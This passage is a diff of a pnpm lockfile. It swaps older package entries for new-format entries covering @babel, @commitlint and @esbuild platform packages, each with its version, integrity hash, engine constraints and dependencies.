'@babel/parser': 7.22.7 + '@babel/types': 7.22.5 + debug: 4.3.4 + globals: 11.12.0 + transitivePeerDependencies: + - supports-color dev: true - /is-fullwidth-code-point/2.0.0: - resolution: {integrity: sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==} - engines: {node: '>=4'} + /@babel/types@7.22.5: + resolution: {integrity: sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-string-parser': 7.22.5 + '@babel/helper-validator-identifier': 7.22.5 + to-fast-properties: 2.0.0 dev: true - /is-fullwidth-code-point/3.0.0: - resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} - engines: {node: '>=8'} + /@braintree/sanitize-url@6.0.2: + resolution: {integrity: sha512-Tbsj02wXCbqGmzdnXNk0SOF19ChhRU70BsroIi4Pm6Ehp56in6vch94mfbdQ17DozxkL3BAVjbZ4Qc1a0HFRAg==} dev: true - /is-glob/4.0.3: - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} - engines: {node: '>=0.10.0'} + /@commitlint/cli@17.0.3: + resolution: {integrity: sha512-oAo2vi5d8QZnAbtU5+0cR2j+A7PO8zuccux65R/EycwvsZrDVyW518FFrnJK2UQxbRtHFFIG+NjQ6vOiJV0Q8A==} + engines: {node: '>=v14'} + hasBin: true dependencies: - is-extglob: registry.npmmirror.com/is-extglob/2.1.1 + '@commitlint/format': 17.0.0 + '@commitlint/lint': 17.0.3 + '@commitlint/load': 17.0.3 + '@commitlint/read': 17.0.0 + '@commitlint/types': 17.0.0 + execa: 5.1.1 + lodash: 4.17.21 + resolve-from: 5.0.0 + resolve-global: 1.0.0 + yargs: 17.5.1 + transitivePeerDependencies: + - '@swc/core' + - '@swc/wasm' dev: true - /is-stream/2.0.1: - resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} - engines: {node: '>=8'} + /@commitlint/config-validator@17.0.3: + resolution: {integrity: sha512-3tLRPQJKapksGE7Kee9axv+9z5I2GDHitDH4q63q7NmNA0wkB+DAorJ0RHz2/K00Zb1/MVdHzhCga34FJvDihQ==} + engines: {node: '>=v14'} + dependencies: + '@commitlint/types': 17.0.0 + ajv: 8.11.0 dev: true - /is-text-path/1.0.1: - resolution: {integrity: sha512-xFuJpne9oFz5qDaodwmmG08e3CawH/2ZV8Qqza1Ko7Sk8POWbkRdwIoAWVhqvq0XeUzANEhKo2n0IXUGBm7A/w==} - engines: {node: '>=0.10.0'} + /@commitlint/ensure@17.0.0: + resolution: {integrity: sha512-M2hkJnNXvEni59S0QPOnqCKIK52G1XyXBGw51mvh7OXDudCmZ9tZiIPpU882p475Mhx48Ien1MbWjCP1zlyC0A==} + engines: {node: '>=v14'} dependencies: - text-extensions: 1.9.0 + '@commitlint/types': 17.0.0 + lodash: 4.17.21 dev: true - /is-utf8/0.2.1: - resolution: {integrity: sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==} + /@commitlint/execute-rule@17.0.0: + resolution: {integrity: sha512-nVjL/w/zuqjCqSJm8UfpNaw66V9WzuJtQvEnCrK4jDw6qKTmZB+1JQ8m6BQVZbNBcwfYdDNKnhIhqI0Rk7lgpQ==} + engines: {node: '>=v14'} dev: true - /is-windows/1.0.2: - resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} - engines: {node: '>=0.10.0'} + /@commitlint/format@17.0.0: + resolution: {integrity: sha512-MZzJv7rBp/r6ZQJDEodoZvdRM0vXu1PfQvMTNWFb8jFraxnISMTnPBWMMjr2G/puoMashwaNM//fl7j8gGV5lA==} + engines: {node: '>=v14'} + dependencies: + '@commitlint/types': 17.0.0 + chalk: 4.1.2 dev: true - /isexe/2.0.0: - resolution: {integrity: sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=} + /@commitlint/is-ignored@17.0.3: + resolution: {integrity: sha512-/wgCXAvPtFTQZxsVxj7owLeRf5wwzcXLaYmrZPR4a87iD4sCvUIRl1/ogYrtOyUmHwWfQsvjqIB4mWE/SqWSnA==} + engines: {node: '>=v14'} + dependencies: + '@commitlint/types': 17.0.0 + semver: 7.3.7 dev: true - /json-schema-traverse/1.0.0: - resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} - dev: true - - /jsonfile/4.0.0: - resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==} - optionalDependencies: - graceful-fs: registry.npmmirror.com/graceful-fs/4.2.10 - dev: true - - /jsonparse/1.3.1: - resolution: {integrity: sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==} - engines: {'0': node >= 0.2.0} - dev: true - - /lines-and-columns/1.2.4: - resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} - dev: true - - /locate-path/5.0.0: - resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} - engines: {node: '>=8'} - dependencies: - p-locate: 4.1.0 - dev: true - - /locate-path/6.0.0: - resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} - engines: {node: '>=10'} + /@commitlint/lint@17.0.3: + resolution: {integrity: sha512-2o1fk7JUdxBUgszyt41sHC/8Nd5PXNpkmuOo9jvGIjDHzOwXyV0PSdbEVTH3xGz9NEmjohFHr5l+N+T9fcxong==} + engines: {node: '>=v14'} dependencies: - p-locate: 5.0.0 - dev: true - - /lodash.map/4.6.0: - resolution: {integrity: sha512-worNHGKLDetmcEYDvh2stPCrrQRkP20E4l0iIS7F8EvzMqBBi7ltvFN5m1HvTf1P7Jk1txKhvFcmYsCr8O2F1Q==} - dev: true - - /lodash/4.17.21: - resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} - dev: true - - /longest/2.0.1: - resolution: {integrity: sha512-Ajzxb8CM6WAnFjgiloPsI3bF+WCxcvhdIG3KNA2KN962+tdBsHcuQ4k4qX/EcS/2CRkcc0iAkR956Nib6aXU/Q==} - engines: {node: '>=0.10.0'} - dev: true - - /make-error/1.3.6: - resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==} - dev: true - - /map-obj/1.0.1: - resolution: {integrity: sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==} - engines: {node: '>=0.10.0'} - dev: true - - /map-obj/4.3.0: - resolution: {integrity: sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==} - engines: {node: '>=8'} + '@commitlint/is-ignored': 17.0.3 + '@commitlint/parse': 17.0.0 + '@commitlint/rules': 17.0.0 + '@commitlint/types': 17.0.0 dev: true - /meow/8.1.2: - resolution: {integrity: sha512-r85E3NdZ+mpYk1C6RjPFEMSE+s1iZMuHtsHAqY0DT3jZczl0diWUZ8g6oU7h0M9cD2EL+PzaYghhCLzR0ZNn5Q==} - engines: {node: '>=10'} + /@commitlint/load@17.0.3: + resolution: {integrity: sha512-3Dhvr7GcKbKa/ey4QJ5MZH3+J7QFlARohUow6hftQyNjzoXXROm+RwpBes4dDFrXG1xDw9QPXA7uzrOShCd4bw==} + engines: {node: '>=v14'} dependencies: - '@types/minimist': 1.2.2 - camelcase-keys: 6.2.2 - decamelize-keys: 1.1.0 - hard-rejection: 2.1.0 - minimist-options: 4.1.0 - normalize-package-data: 3.0.3 - read-pkg-up: 7.0.1 - redent: 3.0.0 - trim-newlines: 3.0.1 - type-fest: registry.npmmirror.com/type-fest/0.18.1 - yargs-parser: 20.2.9 - dev: true - - /merge-stream/2.0.0: - resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + '@commitlint/config-validator': 17.0.3 + '@commitlint/execute-rule': 17.0.0 + '@commitlint/resolve-extends': 17.0.3 + '@commitlint/types': 17.0.0 + '@types/node': 17.0.32 + chalk: 4.1.2 + cosmiconfig: 7.0.1 + cosmiconfig-typescript-loader: 2.0.2(@types/node@17.0.32)(cosmiconfig@7.0.1)(typescript@4.7.4) + lodash: 4.17.21 + resolve-from: 5.0.0 + typescript: 4.7.4 + transitivePeerDependencies: + - '@swc/core' + - '@swc/wasm' dev: true - /merge/2.1.1: - resolution: {integrity: sha512-jz+Cfrg9GWOZbQAnDQ4hlVnQky+341Yk5ru8bZSe6sIDTCIg8n9i/u7hSQGSVOF3C7lH6mGtqjkiT9G4wFLL0w==} + /@commitlint/message@17.0.0: + resolution: {integrity: sha512-LpcwYtN+lBlfZijHUdVr8aNFTVpHjuHI52BnfoV01TF7iSLnia0jttzpLkrLmI8HNQz6Vhr9UrxDWtKZiMGsBw==} + engines: {node: '>=v14'} dev: true - /micromatch/4.0.5: - resolution: {integrity: sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==} - engines: {node: '>=8.6'} + /@commitlint/parse@17.0.0: + resolution: {integrity: sha512-cKcpfTIQYDG1ywTIr5AG0RAiLBr1gudqEsmAGCTtj8ffDChbBRxm6xXs2nv7GvmJN7msOt7vOKleLvcMmRa1+A==} + engines: {node: '>=v14'} dependencies: - braces: registry.npmmirror.com/braces/3.0.2 - picomatch: registry.npmmirror.com/picomatch/2.3.1 - dev: true - - /mimic-fn/2.1.0: - resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} - engines: {node: '>=6'} - dev: true - - /min-indent/1.0.1: - resolution: {integrity: sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==} - engines: {node: '>=4'} + '@commitlint/types': 17.0.0 + conventional-changelog-angular: 5.0.13 + conventional-commits-parser: 3.2.4 dev: true - /minimatch/3.1.2: - resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + /@commitlint/read@17.0.0: + resolution: {integrity: sha512-zkuOdZayKX3J6F6mPnVMzohK3OBrsEdOByIqp4zQjA9VLw1hMsDEFQ18rKgUc2adkZar+4S01QrFreDCfZgbxA==} + engines: {node: '>=v14'} dependencies: - brace-expansion: 1.1.11 + '@commitlint/top-level': 17.0.0 + '@commitlint/types': 17.0.0 + fs-extra: 10.1.0 + git-raw-commits: 2.0.11 dev: true - /minimist-options/4.1.0: - resolution: {integrity: sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==} - engines: {node: '>= 6'} + /@commitlint/resolve-extends@17.0.3: + resolution: {integrity: sha512-H/RFMvrcBeJCMdnVC4i8I94108UDccIHrTke2tyQEg9nXQnR5/Hd6MhyNWkREvcrxh9Y+33JLb+PiPiaBxCtBA==} + engines: {node: '>=v14'} dependencies: - arrify: 1.0.1 - is-plain-obj: registry.npmmirror.com/is-plain-obj/1.1.0 - kind-of: registry.npmmirror.com/kind-of/6.0.3 - dev: true - - /minimist/1.2.5: - resolution: {integrity: sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==} - dev: true - - /mute-stream/0.0.7: - resolution: {integrity: sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==} + '@commitlint/config-validator': 17.0.3 + '@commitlint/types': 17.0.0 + import-fresh: 3.3.0 + lodash: 4.17.21 + resolve-from: 5.0.0 + resolve-global: 1.0.0 dev: true - /normalize-package-data/2.5.0: - resolution: {integrity: sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==} + /@commitlint/rules@17.0.0: + resolution: {integrity: sha512-45nIy3dERKXWpnwX9HeBzK5SepHwlDxdGBfmedXhL30fmFCkJOdxHyOJsh0+B0RaVsLGT01NELpfzJUmtpDwdQ==} + engines: {node: '>=v14'} dependencies: - hosted-git-info: 2.8.9 - resolve: registry.npmmirror.com/resolve/1.22.1 - semver: registry.npmmirror.com/semver/5.7.1 - validate-npm-package-license: 3.0.4 + '@commitlint/ensure': 17.0.0 + '@commitlint/message': 17.0.0 + '@commitlint/to-lines': 17.0.0 + '@commitlint/types': 17.0.0 + execa: 5.1.1 dev: true - /normalize-package-data/3.0.3: - resolution: {integrity: sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==} - engines: {node: '>=10'} - dependencies: - hosted-git-info: 4.1.0 - is-core-module: registry.npmmirror.com/is-core-module/2.9.0 - semver: registry.npmmirror.com/semver/7.3.8 - validate-npm-package-license: 3.0.4 + /@commitlint/to-lines@17.0.0: + resolution: {integrity: sha512-nEi4YEz04Rf2upFbpnEorG8iymyH7o9jYIVFBG1QdzebbIFET3ir+8kQvCZuBE5pKCtViE4XBUsRZz139uFrRQ==} + engines: {node: '>=v14'} dev: true - /npm-run-path/4.0.1: - resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} - engines: {node: '>=8'} + /@commitlint/top-level@17.0.0: + resolution: {integrity: sha512-dZrEP1PBJvodNWYPOYiLWf6XZergdksKQaT6i1KSROLdjf5Ai0brLOv5/P+CPxBeoj3vBxK4Ax8H1Pg9t7sHIQ==} + engines: {node: '>=v14'} dependencies: - path-key: 3.1.1 + find-up: 5.0.0 dev: true - /once/1.4.0: - resolution: {integrity: sha1-WDsap3WWHUsROsF9nFC6753Xa9E=} + /@commitlint/types@17.0.0: + resolution: {integrity: sha512-hBAw6U+SkAT5h47zDMeOu3HSiD0SODw4Aq7rRNh1ceUmL7GyLKYhPbUvlRWqZ65XjBLPHZhFyQlRaPNz8qvUyQ==} + engines: {node: '>=v14'} dependencies: - wrappy: 1.0.2 + chalk: 4.1.2 dev: true - /onetime/5.1.2: - resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} - engines: {node: '>=6'} + /@cspotcode/source-map-support@0.8.1: + resolution: {integrity: sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==} + engines: {node: '>=12'} dependencies: - mimic-fn: 2.1.0 + '@jridgewell/trace-mapping': 0.3.9 dev: true - /os-tmpdir/1.0.2: - resolution: {integrity: sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==} - engines: {node: '>=0.10.0'} + /@esbuild/android-arm64@0.17.19: + resolution: {integrity: sha512-KBMWvEZooR7+kzY0BtbTQn0OAYY7CsiydT63pVEaPtVYF0hXbUaOyZog37DKxK7NF3XacBJOpYT4adIJh+avxA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + requiresBuild: true dev: true + optional: true - /p-limit/2.3.0: - resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} - engines: {node: '>=6'} - dependencies: - p-try: 2.2.0 + /@esbuild/android-arm@0.17.19: + resolution: {integrity: sha512-rIKddzqhmav7MSmoFCmDIb6e2W57geRsM94gV2l38fzhXMwq7hZoClug9USI2pFRGL06f4IOPHHpFNOkWieR8A==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + requiresBuild: true dev: true + optional: true - /p-limit/3.1.0: - resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} - engines: {node: '>=10'} - dependencies: - yocto-queue: 0.1.0 + /@esbuild/android-x64@0.17.19: + resolution: {integrity: sha512-uUTTc4xGNDT7YSArp/zbtmbhO0uEEK9/ETW29Wk1thYUJBz3IVnvgEiEwEa9IeLyvnpKrWK64Utw2bgUmDveww==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + requiresBuild: true dev: true + optional: true - /p-locate/4.1.0: - resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} - engines: {node: '>=8'} - dependencies: - p-limit: 2.3.0 + /@esbuild/darwin-arm64@0.17.19: + resolution: {integrity: sha512-80wEoCfF/hFKM6WE1FyBHc9SfUblloAWx6FJkFWTWiCoht9Mc0ARGEM47e67W9rI09YoUxJL68WHfDRYEAvOhg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + requiresBuild: true dev: true + optional: true - /p-locate/5.0.0: - resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} - engines: {node: '>=10'} - dependencies: - p-limit: 3.1.0 + /@esbuild/darwin-x64@0.17.19: + resolution: {integrity: sha512-IJM4JJsLhRYr9xdtLytPLSH9k/oxR3boaUIYiHkAawtwNOXKE8KoU8tMvryogdcT8AU+Bflmh81Xn6Q0vTZbQw==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + requiresBuild: true dev: true + optional: true - /p-try/2.2.0: - resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} - engines: {node: '>=6'} + /@esbuild/freebsd-arm64@0.17.19: + resolution: {integrity: sha512-pBwbc7DufluUeGdjSU5Si+P3SoMF5DQ/F/UmTSb8HXO80ZEAJmrykPyzo1IfNbAoaqw48YRpv8shwd1NoI0jcQ==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + requiresBuild: true dev: true + optional: true - /parent-module/1.0.1: - resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} - engines: {node: '>=6'} - dependencies: - callsites: registry.npmmirror.com/callsites/3.1.0 + /@esbuild/freebsd-x64@0.17.19: + resolution: {integrity: sha512-4lu+n8Wk0XlajEhbEffdy2xy53dpR06SlzvhGByyg36qJw6Kpfk7cp45DR/62aPH9mtJRmIyrXAS5UWBrJT6TQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + requiresBuild: true dev: true + optional: true - /parse-json/5.2.0: - resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} - engines: {node: '>=8'} - dependencies: - '@babel/code-frame': registry.npmmirror.com/@babel/code-frame/7.16.7 - error-ex: 1.3.2 - json-parse-even-better-errors: registry.npmmirror.com/json-parse-even-better-errors/2.3.1 - lines-and-columns: 1.2.4 + /@esbuild/linux-arm64@0.17.19: + resolution: {integrity: sha512-ct1Tg3WGwd3P+oZYqic+YZF4snNl2bsnMKRkb3ozHmnM0dGWuxcPTTntAF6bOP0Sp4x0PjSF+4uHQ1xvxfRKqg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + requiresBuild: true dev: true + optional: true - /parse-passwd/1.0.0: - resolution: {integrity: sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==} - engines: {node: '>=0.10.0'} + /@esbuild/linux-arm@0.17.19: + resolution: {integrity: sha512-cdmT3KxjlOQ/gZ2cjfrQOtmhG4HJs6hhvm3mWSRDPtZ/lP5oe8FWceS10JaSJC13GBd4eH/haHnqf7hhGNLerA==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + requiresBuild: true dev: true + optional: true - /path-exists/4.0.0: - resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} - engines: {node: '>=8'} + /@esbuild/linux-ia32@0.17.19: + resolution: {integrity: sha512-w4IRhSy1VbsNxHRQpeGCHEmibqdTUx61Vc38APcsRbuVgK0OPEnQ0YD39Brymn96mOx48Y2laBQGqgZ0j9w6SQ==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + requiresBuild: true dev: true + optional: true - /path-is-absolute/1.0.1: - resolution: {integrity: sha1-F0uSaHNVNP+8es5r9TpanhtcX18=} - engines: {node: '>=0.10.0'} + /@esbuild/linux-loong64@0.17.19: + resolution: {integrity: sha512-2iAngUbBPMq439a+z//gE+9WBldoMp1s5GWsUSgqHLzLJ9WoZLZhpwWuym0u0u/4XmZ3gpHmzV84PonE+9IIdQ==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + requiresBuild: true dev: true + optional: true - /path-key/3.1.1: - resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} - engines: {node: '>=8'} + /@esbuild/linux-mips64el@0.17.19: + resolution: {integrity: sha512-LKJltc4LVdMKHsrFe4MGNPp0hqDFA1Wpt3jE1gEyM3nKUvOiO//9PheZZHfYRfYl6AwdTH4aTcXSqBerX0ml4A==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + requiresBuild: true dev: true + optional: true - /path-type/4.0.0: - resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} - engines: {node: '>=8'} + /@esbuild/linux-ppc64@0.17.19: + resolution: {integrity: sha512-/c/DGybs95WXNS8y3Ti/ytqETiW7EU44MEKuCAcpPto3YjQbyK3IQVKfF6nbghD7EcLUGl0NbiL5Rt5DMhn5tg==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + requiresBuild: true dev: true + optional: true - /q/1.5.1: - resolution: {integrity: sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==} - engines: {node: '>=0.6.0', teleport: '>=0.2.0'} + /@esbuild/linux-riscv64@0.17.19: + resolution: {integrity: sha512-FC3nUAWhvFoutlhAkgHf8f5HwFWUL6bYdvLc/TTuxKlvLi3+pPzdZiFKSWz/PF30TB1K19SuCxDTI5KcqASJqA==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + requiresBuild: true dev: true + optional: true - /quick-lru/4.0.1: - resolution: {integrity: sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==} - engines: {node: '>=8'} + /@esbuild/linux-s390x@0.17.19: + resolution: {integrity: sha512-IbFsFbxMWLuKEbH+7sTkKzL6NJmG2vRyy6K7JJo55w+8xDk7RElYn6xvXtDW8HCfoKBFK69f3pgBJSUSQPr+4Q==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + requiresBuild: true dev: true + optional: true - /read-pkg-up/7.0.1: - resolution: {integrity: sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==} - engines: {node: '>=8'} - dependencies: - find-up: 4.1.0 - read-pkg: 5.2.0 - type-fest: registry.npmmirror.com/type-fest/0.8.1 + /@esbuild/linux-x64@0.17.19: + resolution: {integrity: sha512-68ngA9lg2H6zkZcyp22tsVt38mlhWde8l3eJLWkyLrp4HwMUr3c1s/M2t7+kHIhvMjglIBrFpncX1SzMckomGw==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + requiresBuild: true dev: true + optional: true - /read-pkg/5.2.0: - resolution: {integrity: sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==} - engines: {node: '>=8'} - dependencies: - '@types/normalize-package-data': 2.4.1 - normalize-package-data: 2.5.0 - parse-json: registry.npmmirror.com/parse-json/5.2.0 - type-fest: registry.npmmirror.com/type-fest/0.6.0 + /@esbuild/netbsd-x64@0.17.19: + resolution: {integrity: sha512-CwFq42rXCR8TYIjIfpXCbRX0rp1jo6cPIUPSaWwzbVI4aOfX96OXY8M6KNmtPcg7QjYeDmN+DD0Wp3LaBOLf4Q==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + requiresBuild: true dev: true + optional: true - /redent/3.0.0: - resolution: {integrity: sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==} - engines: {node: '>=8'} - dependencies: - indent-string: 4.0.0 - strip-indent: 3.0.0 + /@esbuild/openbsd-x64@0.17.19: + resolution: {integrity: sha512-cnq5brJYrSZ2CF6c35eCmviIN3k3RczmHz8eYaVlNasVqsNY+JKohZU5MKmaOI+KkllCdzOKKdPs762VCPC20g==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + requiresBuild: true dev: true + optional: true - /require-directory/2.1.1: - resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} - engines: {node: '>=0.10.0'} + /@esbuild/sunos-x64@0.17.19: + resolution: {integrity: sha512-vCRT7yP3zX+bKWFeP/zdS6SqdWB8OIpaRq/mbXQxTGHnIxspRtigpkUcDMlSCOejlHowLqII7K2JKevwyRP2rg==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + requiresBuild: true dev: true + optional: true - /require-from-string/2.0.2: - resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} - engines: {node: '>=0.10.0'} + /@esbuild/win32-arm64@0.17.19: + resolution: {integrity: sha512-yYx+8jwowUstVdorcMdNlzklLYhPxjniHWFKgRqH7IFlUEa0Umu3KuYplf1HUZZ422e3NU9F4LGb+4O0Kdcaag==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + requiresBuild: true dev: true + optional: true - /resolve-dir/1.0.1: - resolution: {integrity: sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==} - engines: {node: '>=0.10.0'} - dependencies: - expand-tilde: 2.0.2 - global-modules: 1.0.0 + /@esbuild/win32-ia32@0.17.19: + 